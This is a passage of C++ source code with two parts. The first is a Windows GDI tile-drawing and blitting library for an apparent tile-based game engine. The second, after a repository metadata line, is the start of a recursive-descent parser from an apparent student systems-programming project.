CONST RGBSHADE rgb = {rred, ggreen, bblue};
std::vector<CTile *>::iterator itr = gvTiles.begin();
for (; itr != gvTiles.end(); itr++)
{
CONST std::string strVect = (*itr)->getFilename();
if (strVect.compare(strFilename) == 0)
{
if ((*itr)->isShadedAs(rgb, SHADE_UNIFORM))
{
if (nIsometric)
{
if ((*itr)->isIsometric())
{
// Found a match
(*itr)->cnvDraw(canvas, xx, yy);
return TRUE;
}
}
else if (!(*itr)->isIsometric())
{
// Found a match
(*itr)->cnvDraw(canvas, xx, yy);
return TRUE;
}
}
}
}
if (!(util::tileExists(strFilename))) return 1;
// Load the tile
CONST HDC hdc = canvas->OpenDC();
CTile *p = new CTile(INT(hdc), strFilename, rgb, SHADE_UNIFORM, nIsometric);
canvas->CloseDC(hdc);
// Push it into the vector
gvTiles.push_back(p);
// Draw the tile
p->cnvDraw(canvas, xx, yy);
// All's good
return TRUE;
}
///////////////////////////////////////////////////////
//
// Function: GFXdrawtilemask
//
// Parameters: fname- filename of tile to draw
// x- x tile coord
// y- y tile coord
// rred- red shade
// ggreen- green shade
// bblue- blue shade
// hdc- hdc of device to draw to
// nDirectBlt - if 0, then the tile is rendered directly (with transparency).
// if 1, it is blitted.
// nIsometric - 0= draw 2d regular tile
// 1=draw isometric tile
// nIsoEvenOdd - 0-Draw at iso coords as if the top tile is odd
// 1-Draw at iso coords as if the top tile is even
//
// Action: Opens and draws a tile, masked.
//
// Returns: 1 (TRUE)
//
///////////////////////////////////////////////////////
int APIENTRY GFXdrawtilemask ( const char *fname,
double x,
double y,
int rred,
int ggreen,
int bblue,
long hdc,
int nDirectBlt,
int nIsometric,
int nIsoEvenOdd )
{
std::string strFilename = fname;
std::string strPath = "tiles\\";
strFilename = strPath + strFilename;
int xx, yy;
if (nIsometric == 0)
{
xx=(int)(x*32-32);
yy=(int)(y*32-32);
}
else
{
if (nIsoEvenOdd == 0)
{
if (((int)y % 2) == 0)
{
xx=(int)(x*64-64);
yy=(int)(y*16-32);
}
else
{
xx=(int)(x*64-96);
yy=(int)(y*16-32);
}
}
else
{
if (((int)y % 2) == 0)
{
xx=(int)(x*64-96);
yy=(int)(y*16-32);
}
else
{
xx=(int)(x*64-64);
yy=(int)(y*16-32);
}
}
}
//see if we need to clear the tile cache...
if (gvTiles.size() > TILE_CACHE_SIZE)
GFXClearTileCache();
//first check if this tile has already been drawn...
RGBSHADE rgb;
rgb.r = rred;
rgb.g = ggreen;
rgb.b = bblue;
//first check if this tile has already been drawn...
std::vector<CTile*>::iterator itr = gvTiles.begin();
for (; itr != gvTiles.end(); itr++)
{
std::string strVect = (*itr)->getFilename();
if (strVect.compare(strFilename) == 0)
{
if (nIsometric == 1)
{
if ((*itr)->isIsometric())
{
//match!
if (nDirectBlt)
{
(*itr)->gdiDrawAlpha(HDC(hdc), xx, yy);
}
else
{
(*itr)->gdiRenderAlpha(HDC(hdc), xx, yy);
}
return 1;
}
}
else
{
if (!(*itr)->isIsometric())
{
//match!
if (nDirectBlt)
{
(*itr)->gdiDrawAlpha(HDC(hdc), xx, yy);
}
else
{
(*itr)->gdiRenderAlpha(HDC(hdc), xx, yy);
}
return 1;
}
}
}
}
//wasn't found.
//we have to load it...
//check if file exists
if (!(util::tileExists(strFilename)))
return 1;
CTile* t = new CTile(hdc, strFilename, rgb, SHADE_UNIFORM, (bool)nIsometric);
gvTiles.push_back(t);
if (nDirectBlt)
{
t->gdiDrawAlpha(HDC(hdc), xx, yy);
}
else
{
t->gdiRenderAlpha(HDC(hdc), xx, yy);
}
return 1;
}
///////////////////////////////////////////////////////
//
// Function: GFXdrawtilemaskCNV
//
// Parameters: fname- filename of tile to draw
// x- x tile coord
// y- y tile coord
// rred- red shade
// ggreen- green shade
// bblue- blue shade
// cnv- canvas of device to draw to
// nDirectBlt - if 0, then the tile is rendered directly (with transparency).
// if 1, it is blitted.
// nIsometric - 0= draw 2d regular tile
// 1=draw isometric tile
// nIsoEvenOdd - 0-Draw at iso coords as if the top tile is odd
// 1-Draw at iso coords as if the top tile is even
//
// Action: Opens and draws a tile, masked.
//
// Returns: 1 (TRUE)
//
///////////////////////////////////////////////////////
int APIENTRY GFXDrawTileMaskCNV ( const char fname[],
double x,
double y,
int rred,
int ggreen,
int bblue,
CNV_HANDLE cnv,
int nDirectBlt,
int nIsometric,
int nIsoEvenOdd )
{
std::string strFilename = fname;
std::string strPath = "tiles\\";
strFilename = strPath + strFilename;
CCanvas* canvas = (CCanvas*)cnv;
int xx, yy;
if (nIsometric == 0)
{
xx=(int)(x*32-32);
yy=(int)(y*32-32);
}
else
{
if (nIsoEvenOdd == 0)
{
if (((int)y % 2) == 0)
{
xx=(int)(x*64-64);
yy=(int)(y*16-32);
}
else
{
xx=(int)(x*64-96);
yy=(int)(y*16-32);
}
}
else
{
if (((int)y % 2) == 0)
{
xx=(int)(x*64-96);
yy=(int)(y*16-32);
}
else
{
xx=(int)(x*64-64);
yy=(int)(y*16-32);
}
}
}
//see if we need to clear the tile cache...
if (gvTiles.size() > TILE_CACHE_SIZE)
GFXClearTileCache();
//first check if this tile has already been drawn...
RGBSHADE rgb;
rgb.r = rred;
rgb.g = ggreen;
rgb.b = bblue;
//first check if this tile has already been drawn...
std::vector<CTile*>::iterator itr = gvTiles.begin();
for (; itr != gvTiles.end(); itr++)
{
std::string strVect = (*itr)->getFilename();
if (strVect.compare(strFilename) == 0)
{
if (nIsometric == 1)
{
if ((*itr)->isIsometric())
{
//match!
if (nDirectBlt)
{
(*itr)->cnvDrawAlpha(canvas, xx, yy);
}
else
{
(*itr)->cnvRenderAlpha(canvas, xx, yy);
}
return 1;
}
}
else
{
if (!(*itr)->isIsometric())
{
//match!
if (nDirectBlt)
{
(*itr)->cnvDrawAlpha(canvas, xx, yy);
}
else
{
(*itr)->cnvRenderAlpha(canvas, xx, yy);
}
return 1;
}
}
}
}
//wasn't found.
//we have to load it...
//check if file exists
if (!(util::tileExists(strFilename)))
return 1;
HDC hdc = canvas->OpenDC();
CTile* t = new CTile((long)hdc, strFilename, rgb, SHADE_UNIFORM, (bool)nIsometric);
canvas->CloseDC( hdc );
gvTiles.push_back(t);
if (nDirectBlt)
{
t->cnvDrawAlpha(canvas, xx, yy);
}
else
{
t->cnvRenderAlpha(canvas, xx, yy);
}
return 1;
}
///////////////////////////////////////////////////////
//
// Function: GFXdrawpixel
//
// Parameters: hdc- hdc of device to draw to
// x- the x coord to draw to
// y- the y coord to draw to
// col- an rgb color
//
// Action: Draws a pixel
//
// Returns: 1 (TRUE)
//
///////////////////////////////////////////////////////
int APIENTRY GFXdrawpixel ( long hdc,
long x,
long y,
long col )
{
//draws a pixel scaled.
//ddx=ddy=1;
if (ddx==1 && ddy==1) {
SetPixelV((HDC)hdc,x,y,col);
}
else {
for (int xx=(int)(x*ddx); xx<=(int)(x*ddx+ddx); xx++) {
for (int yy=(int)(y*ddy); yy<=(int)(y*ddy+ddy); yy++) {
SetPixelV((HDC)hdc,xx,yy,col);
}
}
}
return 1;
}
//--------------------------------------------------------------------------
// Update of GFXdrawTstWindow - Delano
// GFXdrawTstWindow is still used by the multiple tileset editor,
// until such a time as that is edited to accommodate this function.
//--------------------------------------------------------------------------
LONG APIENTRY GFXdrawTileset(
CONST CHAR *file,
CONST LONG hdc,
CONST LONG startIdx,
CONST LONG pxWidth,
CONST LONG pxHeight,
CONST SHORT isometric)
{
CONST std::string filename = file;
CONST std::string ext = util::upperCase(util::getExt(file));
if(ext.compare("TST") == 0 || ext.compare("ISO") == 0)
{
CONST TS_HEADER header = CTile::getTilesetInfo(filename);
if (startIdx > header.tilesInSet) return 0;
CONST tWidth = pxWidth / 32;
CONST tHeight = pxHeight / 32;
int idx = startIdx - 1;
if (!isometric)
{
for (int y = 1; y <= tHeight; ++y)
{
for (int x = 1; x <= tWidth; ++x)
{
if (++idx > header.tilesInSet) return 0;
std::stringstream ss;
ss << filename << idx;
CTile::drawByBoardCoordHdc(
ss.str(),
x, y,
0, 0, 0,
reinterpret_cast<HDC>(hdc),
TM_NONE,
0, 0,
TILE_NORMAL,
0
);
}
} // for(i)
}
else // if(isometric)
{
for (int y = 0; y < pxHeight - 16; y += 16)
{
int x = (y % 32 ? 32 : 0);
for (; x < pxWidth - 32; x += 64)
{
if (++idx > header.tilesInSet) return 0;
std::stringstream ss;
ss << filename << idx;
CTile::drawByBoardCoordHdc(
ss.str(),
1, 1,
0, 0, 0,
reinterpret_cast<HDC>(hdc),
TM_NONE,
x, y + 16,
ISO_STACKED,
0
);
}
} // for(y)
} // if (isometric)
} // if (tileset)
return 0;
}
///////////////////////////////////////////////////////
//
// Function: GFXdrawTstWindow
//
// Parameters: fname- filename of tile to draw
// hdc- hdc of device to draw to
// start- start location of tileset
// tilesx- number of tiles to draw horizonatally
// tilesy- number of tiles to draw vertically
// nIsometric - 0= draw 2d regular tile
// 1=draw isometric tile
//
// Action: Draws tileset for the tileset window
//
// Returns: 1 (TRUE)
//
//=====================================================
// Edited: for 3.0.4 by Delano
// Added support for new isometric tilesets.
//
// The imported function will give nIsometric = 2 for
// new isometric tiles. This is passed to drawIsoTile
// and openFromTileset.
//
// Transparent pixels are now drawn as the
// background colour (127,127,127) - changed to
// stop flickering during scrolling.
//=====================================================
///////////////////////////////////////////////////////
int APIENTRY GFXdrawTstWindow ( char fname[],
int hdc,
int start,
int tilesx,
int tilesy,
int nIsometric )
{
int xx,yy,x,y;
char ex[255];
extention(fname, ex);
if((strcmpi(ex, "TST") == 0) || (strcmpi(ex, "ISO") == 0))
{
tilesetInfo(fname);
int numtiles=tileset.tilesInSet;
int vx=1;
//New variables and for-loop.
//For loop now loops over visible tiles - if the end of set is reached, draw blank tiles.
int t = start;
bool endOfSet = false;
//Previously looped over t.
for (int a=1; a<=(tilesx*tilesy); a++, t++)
{
//Added to stop scrolling tilesets flickering.
if (t > numtiles)
{
//Draw blank squares.
endOfSet = true;
}
else
{
//Load next tile.
openFromTileSet(fname,t);
if (detail==2||detail==4||detail==6)
increasedetail();
if (detail==3||detail==5)
increasecolors();
} //Close (t > numtiles)
if (nIsometric == 0)
{
yy=(int)(vx/tilesx);
if (t%tilesx==0)
{
xx=tilesx*32-32;
yy=yy*32-32;
}
else
{
xx=vx-(yy*tilesx);
xx=xx*32-32;
yy=yy*32;
}
for (x=1;x<=32;x++)
{
for (y=1;y<=32;y++)
{
if ((tile[x][y]!=-1) && (!endOfSet))
{
GFXdrawpixel(hdc,x+xx,y+yy,tile[x][y]);
}
else
{
//Draw transparent = background colour.
//Added to stop scrolling tilesets flickering.
GFXdrawpixel(hdc,x+xx,y+yy,rgb(127,127,127));
}
}
}
vx++;
}
else //if (nIsometric == 0)
{
//Isometric
yy=(int)(vx/tilesx);
if (t%tilesx==0)
{
xx=tilesx*64-64;
yy=yy*32-32;
}
else
{
xx=vx-(yy*tilesx);
xx=xx*64-64;
yy=yy*32;
}
//Added to stop scrolling tilesets flickering.
if (!endOfSet)
{
//Receives nIsometric now!
drawIsoTile(hdc, xx, yy, nIsometric);
}
else
{
//End of the tileset, draw blank tiles.
for (x=1;x<=64;x++)
{
for (y=1;y<=32;y++)
{
//Draw transparent = background colour.
GFXdrawpixel(hdc,x+xx,y+yy,rgb(127,127,127));
}
}
} // (!endOfSet)
vx++;
} //Close if (nIsometric == 0)
} //Close for (a)
return 1;
} //Close if((strcmpi(ex,"TST")==0) || (strcmpi(ex,"ISO")==0))
return 0; //Failed because tiletypes weren't mathced.
}
///////////////////////////////////////////////////////
//
// Function: BitBltTransparent
//
// Parameters: hdcDest- dest dc
// xDest, yDest- coords of destination
// width, height- dimensions of area, in pixels
// hdcSrc- souce dc
// xSrc, ySrc- coords to copy from
// transRed, transGreen, transBlue- color
// of pixels NOT to copy
//
// Action: BitBlts with transparent pixels.
//
// Returns: 1 (TRUE)
//
///////////////////////////////////////////////////////
int APIENTRY GFXBitBltTransparent ( long hdcDest,
long xDest,
long yDest,
long width,
long height,
long hdcSrc,
long xSrc,
long ySrc,
int transRed,
int transGreen,
int transBlue )
{
int x, y;
int xd, yd;
xd = xDest;
yd = yDest;
for (x = xSrc; x <= xSrc + width; x++)
{
for (y = ySrc; y <= ySrc + height; y++)
{
long col = GetPixel((HDC)hdcSrc, x, y);
if ( rgb(transRed, transGreen, transBlue) != col )
{
//not a transparent color-- copy it!
SetPixelV((HDC)hdcDest, xd, yd, col);
}
yd++;
}
xd++;
yd = yDest;
}
return 1;
}
///////////////////////////////////////////////////////
//
// Function: BitBltTranslucent
//
// Parameters: hdcDest- dest dc
// xDest, yDest- coords of destination
// width, height- dimensions of area, in pixels
// hdcSrc- souce dc
// xSrc, ySrc- coords to copy from
//
// Action: BitBlts with translucency.
//
// Returns: 1 (TRUE)
//
///////////////////////////////////////////////////////
int APIENTRY GFXBitBltTranslucent ( long hdcDest,
long xDest,
long yDest,
long width,
long height,
long hdcSrc,
long xSrc,
long ySrc )
{
int x, y;
int xd, yd;
xd = xDest;
yd = yDest;
for (x = xSrc; x <= xSrc + width; x++)
{
for (y = ySrc; y <= ySrc + height; y++)
{
long col = GetPixel((HDC)hdcSrc, x, y);
long destCol = GetPixel((HDC)hdcDest, xd, yd);
int r = red(col);
int g = green(col);
int b = blue(col);
int rd = red(destCol);
int gd = green(destCol);
int bd = blue(destCol);
r = (r+rd) / 2;
g = (g+gd) / 2;
b = (b+bd) / 2;
col = rgb(r, g, b);
SetPixelV((HDC)hdcDest, xd, yd, col);
yd++;
}
xd++;
yd = yDest;
}
return 1;
}
///////////////////////////////////////////////////////
//
// Function: BitBltAdditive
//
// Parameters: hdcDest- dest dc
// xDest, yDest- coords of destination
// width, height- dimensions of area, in pixels
// hdcSrc- souce dc
// xSrc, ySrc- coords to copy from
// nPercent- the amount to shade to (-100
// to 100 are valid)
//
// Action: BitBlts with additive translucency.
//
// Returns: 1 (TRUE)
//
///////////////////////////////////////////////////////
int APIENTRY GFXBitBltAdditive ( long hdcDest,
long xDest,
long yDest,
long width,
long height,
long hdcSrc,
long xSrc,
long ySrc,
long nPercent )
{
int x, y;
int xd, yd;
xd = xDest;
yd = yDest;
for (x = xSrc; x <= xSrc + width; x++)
{
for (y = ySrc; y <= ySrc + height; y++)
{
long col = GetPixel((HDC)hdcSrc, x, y);
long destCol = GetPixel((HDC)hdcDest, xd, yd);
int r = red(col);
int g = green(col);
int b = blue(col);
int rd = red(destCol);
int gd = green(destCol);
int bd = blue(destCol);
int rr = (int)(nPercent * r / 100.0);
int gg = (int)(nPercent * g / 100.0);
int bb = (int)(nPercent * b / 100.0);
r = (rr+rd);
g = (gg+gd);
b = (bb+bd);
col = rgb(r, g, b);
SetPixelV((HDC)hdcDest, xd, yd, col);
yd++;
}
xd++;
yd = yDest;
}
return 1;
}
///////////////////////////////////////////////////////
//
// Function: GFXClearTileCache
//
// Parameters:
//
// Action: Clear the cache of tiles we have in memory
//
// Returns: 1 (TRUE)
//
///////////////////////////////////////////////////////
int APIENTRY GFXClearTileCache()
{
for (int i = 0; i < gvTiles.size(); i++)
{
CTile* t = gvTiles[i];
delete t;
gvTiles[i] = 0;
}
gvTiles.clear();
return 1;
}
///////////////////////////////////////////////////////
//
// Function: GFXGetDOSColor
//
// Parameters:
//
// Action: Obtain DOS color from palette
//
// Returns: color
//
///////////////////////////////////////////////////////
long APIENTRY GFXGetDOSColor( int nColorIdx )
{
return CTile::getDOSColor(nColorIdx);
}
/* end of file */
| [
"piartsco@gmail.com"
] | piartsco@gmail.com |
a082642c1d9e0356b8be89210fb746b8180f6550 | 0c970b4917696391e0f3bc7f4293b3071e5393ef | /parser/src/Parser.cpp | b303a812c30cbe368807b991d82d2f49569ddf50 | [] | no_license | bruggi/SysProg-WS2013-2014 | eb141152b6e4a8827e149750240b3ea72076cd92 | b57c98f9a0be6236ceb7bb993e227586da1ac1d4 | refs/heads/master | 2020-05-18T17:08:16.394582 | 2014-01-22T12:31:44 | 2014-01-22T12:31:44 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 27,046 | cpp | /*
* Parser.cpp
*
* Created on: 24.12.2013
* Author: typical
*/
#include "../include/Parser.hpp"
namespace parserError {
const char* AsString(type_t t) {
switch(t) {
case OK: return "OK";
case NULL_POINTER: return "NULL_POINTER";
case INVAL_PARAM: return "Invalid parameter(s)";
case ERR_PARSE_PROG: return "Error parsing PROG";
case ERR_PARSE_DECLS: return "Error parsing DECLS";
case ERR_PARSE_DECL: return "Error parsing DECL";
case ERR_PARSE_ARRAY: return "Error parsing ARRAY";
case ERR_PARSE_STATEMENTS: return "Error parsing STATEMENTS";
case ERR_PARSE_STATEMENT: return "Error parsing STATEMENT";
case ERR_PARSE_EXP: return "Error parsing EXP";
case ERR_PARSE_EXP2: return "Error parsing EXP2";
case ERR_PARSE_INDEX: return "Error parsing INDEX";
case ERR_PARSE_OP_EXP: return "Error parsing OP_EXP";
case ERR_PARSE_OP: return "Error parsing OP";
default: return "Undefined Error";
} // end switch
}
} // namespace parserError
Parser::Parser() {
currentToken = NULL;
scanner = NULL;
progTree = NULL;
fileWriter = NULL;
symtable = NULL;
currentTokType = tokentype::UNDEFINED;
isCorrect = true;
labelCounter = 0;
}
Parser::~Parser() {
delete currentToken;
delete scanner;
delete progTree;
delete fileWriter;
delete symtable;
for(size_t i = 0; i < tokenVec.size(); i++) {
delete tokenVec[i];
}
}
Token* Parser::getNextToken() {
ScannerError::type_t result;
Token* currentToken = new Token();
result = scanner->getToken(*currentToken);
if( !(result == ScannerError::OK || result == ScannerError::EOF_REACHED) ) {
fileWriter->printLog(buffer::logLevel::FATAL, __func__,
"ScannerError: %s", ScannerError::AsString(result));
return NULL;
}
if(currentToken->getType() == tokentype::ERROR) {
fileWriter->printLog(buffer::logLevel::FATAL, __func__,
"Error Token: %s at Row: %u Column: %u", currentToken->getInfo()->key,
currentToken->getRow(), currentToken->getColumn());
}
tokenVec.push_back(currentToken);
return currentToken;
}
bool Parser::init(const char* in_file, const char* out_file, const char* log_file) {
if( (in_file == NULL) || (out_file == NULL) ) {
return false;
}
scanner = new Scanner();
symtable = new Symtable();
fileWriter = new buffer::OutputBuffer();
if(!fileWriter->init(out_file, log_file)) {
return false;
}
ScannerError::type_t result;
result = scanner->init(in_file, symtable);
if(result != ScannerError::OK) {
fileWriter->printLog(buffer::logLevel::FATAL, __func__,
"Scanner init error: %s(%d)", ScannerError::AsString(result),
result);
return false;
}
fileWriter->printLog(buffer::logLevel::INFO, __func__,
"Parser successfully initialized.");
return true;
}
parserError::type_t Parser::parse() {
parserError::type_t parseResult;
this->progTree = new ProgNode(this);
currentToken = getNextToken();
if(currentToken == NULL) {
return parserError::NULL_POINTER;
}
parseResult = this->parse_Prog(this->progTree);
return parseResult;
}
parserError::type_t Parser::parse_Prog(ProgNode* prog) {
parserError::type_t parseResult;
currentTokType = currentToken->getType();
prog->decls = new DeclsNode(this);
prog->statements = new StatementsNode(this);
if( currentTokType == tokentype::IDENTIFIER ||
currentTokType == tokentype::KEY_PRINT ||
currentTokType == tokentype::KEY_READ ||
currentTokType == tokentype::KEY_INT ||
currentTokType == tokentype::KEY_IF ||
currentTokType == tokentype::KEY_WHILE ||
currentTokType == tokentype::KEY_BRAKET_CLY_OPEN ||
currentTokType == tokentype::END_OF_FILE
){
/* parse DECLS */
parseResult = this->parse_Decls(prog->decls);
if(parseResult != parserError::OK) {
return parseResult;
}
/* parse STATEMENTS */
parseResult = this->parse_Statements(prog->statements);
if(parseResult != parserError::OK) {
return parseResult;
}
prog->nodeType = ParseTree::PROG;
return parserError::OK;
}
else {
fileWriter->printLog(buffer::logLevel::FATAL, __func__,
"No valid Source at Row: %u Column: %u",
currentToken->getRow(), currentToken->getColumn());
return parserError::ERR_PARSE_PROG;
}
}
parserError::type_t Parser::parse_Decls(DeclsNode* decls) {
parserError::type_t parseResult;
decls->decl = new DeclNode(this);
decls->decls = new DeclsNode(this);
if(currentTokType == tokentype::KEY_INT) {
parseResult = this->parse_Decl(decls->decl);
if(parseResult != parserError::OK) {
return parseResult;
}
if(currentTokType == tokentype::KEY_SEMICOLON) {
currentToken = getNextToken();
if(currentToken == NULL) {
return parserError::NULL_POINTER;
}
currentTokType = currentToken->getType();
parseResult = parse_Decls(decls->decls);
if(parseResult != parserError::OK) {
return parseResult;
}
decls->nodeType = ParseTree::DECLS_1;
}
else {
fileWriter->printLog(buffer::logLevel::ERROR, __func__,
"Missing ';' at Row: %u Column: %u",
currentToken->getRow(), currentToken->getColumn());
return parserError::ERR_PARSE_DECLS;
}
}
else if(currentTokType == tokentype::IDENTIFIER ||
currentTokType == tokentype::KEY_PRINT ||
currentTokType == tokentype::KEY_READ ||
currentTokType == tokentype::KEY_BRAKET_CLY_OPEN ||
currentTokType == tokentype::KEY_IF ||
currentTokType == tokentype::KEY_WHILE
) {
decls->nodeType = ParseTree::DECLS_2;
}
else if(currentTokType == tokentype::END_OF_FILE) {
/* end */
decls->nodeType = ParseTree::DECLS_2;
}
else {
fileWriter->printLog(buffer::logLevel::ERROR, __func__,
"Expected declaration at Row: %u Column: %u",
currentToken->getRow(), currentToken->getColumn());
return parserError::ERR_PARSE_DECLS;
}
return parserError::OK;
}
parserError::type_t Parser::parse_Decl(DeclNode* decl) {
parserError::type_t parseResult;
if(currentTokType == tokentype::KEY_INT) {
currentToken = getNextToken();
if(currentToken == NULL) {
return parserError::NULL_POINTER;
}
currentTokType = currentToken->getType();
decl->array = new ArrayNode(this);
parseResult = this->parse_Array(decl->array);
if(parseResult != parserError::OK) {
return parseResult;
}
if(currentTokType == tokentype::IDENTIFIER) {
decl->identifier = currentToken;
/* für typeCheck */
decl->identifier->setType(tokentype::NO_TYPE);
currentToken = getNextToken();
if(currentToken == NULL) {
return parserError::NULL_POINTER;
}
currentTokType = currentToken->getType();
decl->nodeType = ParseTree::DECL;
}
else{
fileWriter->printLog(buffer::logLevel::ERROR, __func__,
"No identifier found at Row: %u Column: %u",
currentToken->getRow(), currentToken->getColumn());
return parserError::ERR_PARSE_DECL;
}
}
else {
fileWriter->printLog(buffer::logLevel::ERROR, __func__,
"Unknown datatype at Row: %u Column: %u",
currentToken->getRow(), currentToken->getColumn());
return parserError::ERR_PARSE_DECL;
}
return parserError::OK;
}
parserError::type_t Parser::parse_Array(ArrayNode* array){
if(currentTokType == tokentype::KEY_BRAKET_SQR_OPEN) {
currentToken = getNextToken();
if(currentToken == NULL) {
return parserError::NULL_POINTER;
}
currentTokType = currentToken->getType();
if(currentTokType == tokentype::INTEGER) {
array->integer = currentToken->getValue();
currentToken = getNextToken();
if(currentToken == NULL) {
return parserError::NULL_POINTER;
}
currentTokType = currentToken->getType();
if(currentTokType == tokentype::KEY_BRAKET_SQR_CLOSE) {
currentToken = getNextToken();
if(currentToken == NULL) {
return parserError::NULL_POINTER;
}
currentTokType = currentToken->getType();
array->nodeType = ParseTree::ARRAY_1;
}
else {
fileWriter->printLog(buffer::logLevel::ERROR, __func__,
"Expected ']' at Row: %u Column: %u",
currentToken->getRow(), currentToken->getColumn());
return parserError::ERR_PARSE_ARRAY;
}
}
else{
fileWriter->printLog(buffer::logLevel::ERROR, __func__,
"No valid Array found at Row: %u Column: %u",
currentToken->getRow(), currentToken->getColumn());
return parserError::ERR_PARSE_ARRAY;
}
}
else if(currentTokType == tokentype::IDENTIFIER) { // Follow
array->nodeType = ParseTree::ARRAY_2;
}
else {
fileWriter->printLog(buffer::logLevel::ERROR, __func__,
"Expected Array at Row: %u Column: %u",
currentToken->getRow(), currentToken->getColumn());
return parserError::ERR_PARSE_ARRAY;
}
return parserError::OK;
}
parserError::type_t Parser::parse_Statements(StatementsNode* statements){
parserError::type_t parseResult;
if(currentTokType != tokentype::END_OF_FILE) {
statements->statement = new StatementNode(this);
}
statements->statements = new StatementsNode(this);
if( currentTokType == tokentype::IDENTIFIER ||
currentTokType == tokentype::KEY_PRINT ||
currentTokType == tokentype::KEY_READ ||
currentTokType == tokentype::KEY_IF ||
currentTokType == tokentype::KEY_WHILE ||
currentTokType == tokentype::KEY_BRAKET_CLY_OPEN
) {
parseResult = this->parse_Statement(statements->statement);
if(parseResult != parserError::OK) {
return parseResult;
}
if(currentTokType == tokentype::KEY_SEMICOLON || currentTokType == tokentype::END_OF_FILE) {
currentToken = getNextToken();
if(currentToken == NULL) {
return parserError::NULL_POINTER;
}
currentTokType = currentToken->getType();
parseResult = this->parse_Statements(statements->statements);
if(parseResult != parserError::OK) {
return parseResult;
}
statements->nodeType = ParseTree::STATEMENTS_1;
}
else {
fileWriter->printLog(buffer::logLevel::ERROR, __func__,
"Missing ';' at Row: %u Column: %u",
currentToken->getRow(), currentToken->getColumn());
return parserError::ERR_PARSE_STATEMENTS;
}
}
else if(currentTokType == tokentype::KEY_BRAKET_CLY_CLOSE) {
statements->nodeType = ParseTree::STATEMENTS_1;
}
else if(currentTokType == tokentype::END_OF_FILE) {
statements->nodeType = ParseTree::STATEMENTS_2;
}
else {
fileWriter->printLog(buffer::logLevel::ERROR, __func__,
"Statement expected at Row: %u Column: %u",
currentToken->getRow(), currentToken->getColumn());
return parserError::ERR_PARSE_STATEMENTS;
}
return parserError::OK;
}
parserError::type_t Parser::parse_Statement(StatementNode* statement){
parserError::type_t parseResult;
if(currentTokType == tokentype::IDENTIFIER) {
statement->identifier = this->currentToken;
currentToken = getNextToken();
if(currentToken == NULL) {
return parserError::NULL_POINTER;
}
currentTokType = currentToken->getType();
statement->index = new IndexNode(this);
statement->exp = new ExpNode(this);
parseResult = this->parse_Index(statement->index);
if(parseResult != parserError::OK) {
return parseResult;
}
if(currentTokType == tokentype::KEY_EQUAL) {
currentToken = getNextToken();
if(currentToken == NULL) {
return parserError::NULL_POINTER;
}
currentTokType = currentToken->getType();
parseResult = this->parse_Exp(statement->exp);
if(parseResult != parserError::OK) {
return parseResult;
}
}
statement->nodeType = ParseTree::STATEMENT_1;
}
else if(currentTokType == tokentype::KEY_PRINT) {
statement->exp = new ExpNode(this);
currentToken = getNextToken();
if(currentToken == NULL) {
return parserError::NULL_POINTER;
}
currentTokType = currentToken->getType();
if(currentTokType == tokentype::KEY_BRAKET_RND_OPEN) {
currentToken = getNextToken();
if(currentToken == NULL) {
return parserError::NULL_POINTER;
}
currentTokType = currentToken->getType();
parseResult = this->parse_Exp(statement->exp);
if(parseResult != parserError::OK) {
return parseResult;
}
}
else {
fileWriter->printLog(buffer::logLevel::ERROR, __func__,
"Expected '(' at Row: %u Column: %u",
currentToken->getRow(), currentToken->getColumn());
return parserError::ERR_PARSE_STATEMENT;
}
if(currentTokType == tokentype::KEY_BRAKET_RND_CLOSE) {
currentToken = getNextToken();
if(currentToken == NULL) {
return parserError::NULL_POINTER;
}
currentTokType = currentToken->getType();
statement->nodeType = ParseTree::STATEMENT_2;
}
else {
fileWriter->printLog(buffer::logLevel::ERROR, __func__,
"Expected ')' at Row: %u Column: %u",
currentToken->getRow(), currentToken->getColumn());
return parserError::ERR_PARSE_STATEMENT;
}
}
else if(currentTokType == tokentype::KEY_READ) {
statement->index = new IndexNode(this);
currentToken = getNextToken();
if(currentToken == NULL) {
return parserError::NULL_POINTER;
}
currentTokType = currentToken->getType();
if(currentTokType == tokentype::KEY_BRAKET_RND_OPEN) {
currentToken = getNextToken();
if(currentToken == NULL) {
return parserError::NULL_POINTER;
}
currentTokType = currentToken->getType();
if(currentTokType == tokentype::IDENTIFIER) {
statement->identifier = currentToken;
currentToken = getNextToken();
if(currentToken == NULL) {
return parserError::NULL_POINTER;
}
currentTokType = currentToken->getType();
parseResult = this->parse_Index(statement->index);
if(parseResult != parserError::OK) {
return parseResult;
}
}
else {
fileWriter->printLog(buffer::logLevel::ERROR, __func__,
"No identifier found at Row: %u Column: %u",
currentToken->getRow(), currentToken->getColumn());
return parserError::ERR_PARSE_STATEMENT;
}
if(currentTokType == tokentype::KEY_BRAKET_RND_CLOSE) {
currentToken = getNextToken();
if(currentToken == NULL) {
return parserError::NULL_POINTER;
}
currentTokType = currentToken->getType();
statement->nodeType = ParseTree::STATEMENT_3;
}
else {
fileWriter->printLog(buffer::logLevel::ERROR, __func__,
"Expected ')' at Row: %u Column: %u",
currentToken->getRow(), currentToken->getColumn());
return parserError::ERR_PARSE_STATEMENT;
}
}
}
else if(currentTokType == tokentype::KEY_BRAKET_CLY_OPEN) {
statement->statements = new StatementsNode(this);
currentToken = getNextToken();
if(currentToken == NULL) {
return parserError::NULL_POINTER;
}
currentTokType = currentToken->getType();
parseResult = this->parse_Statements(statement->statements);
if(parseResult != parserError::OK) {
return parseResult;
}
if(currentTokType == tokentype::KEY_BRAKET_CLY_CLOSE) {
/* needed for follow */
currentToken = getNextToken();
if(currentToken == NULL) {
return parserError::NULL_POINTER;
}
currentTokType = currentToken->getType();
statement->nodeType = ParseTree::STATEMENT_4;
}
else {
fileWriter->printLog(buffer::logLevel::ERROR, __func__,
"Expected '}' at Row: %u Column: %u",
currentToken->getRow(), currentToken->getColumn());
return parserError::ERR_PARSE_STATEMENT;
}
}
else if(currentTokType == tokentype::KEY_IF) {
statement->exp = new ExpNode(this);
statement->statement1 = new StatementNode(this);
statement->statement2 = new StatementNode(this);
currentToken = getNextToken();
if(currentToken == NULL) {
return parserError::NULL_POINTER;
}
currentTokType = currentToken->getType();
if(currentTokType == tokentype::KEY_BRAKET_RND_OPEN) {
currentToken = getNextToken();
if(currentToken == NULL) {
return parserError::NULL_POINTER;
}
currentTokType = currentToken->getType();
parseResult = this->parse_Exp(statement->exp);
if(parseResult != parserError::OK) {
return parseResult;
}
}
else {
fileWriter->printLog(buffer::logLevel::ERROR, __func__,
"Expected '(' at Row: %u Column: %u",
currentToken->getRow(), currentToken->getColumn());
return parserError::ERR_PARSE_STATEMENT;
}
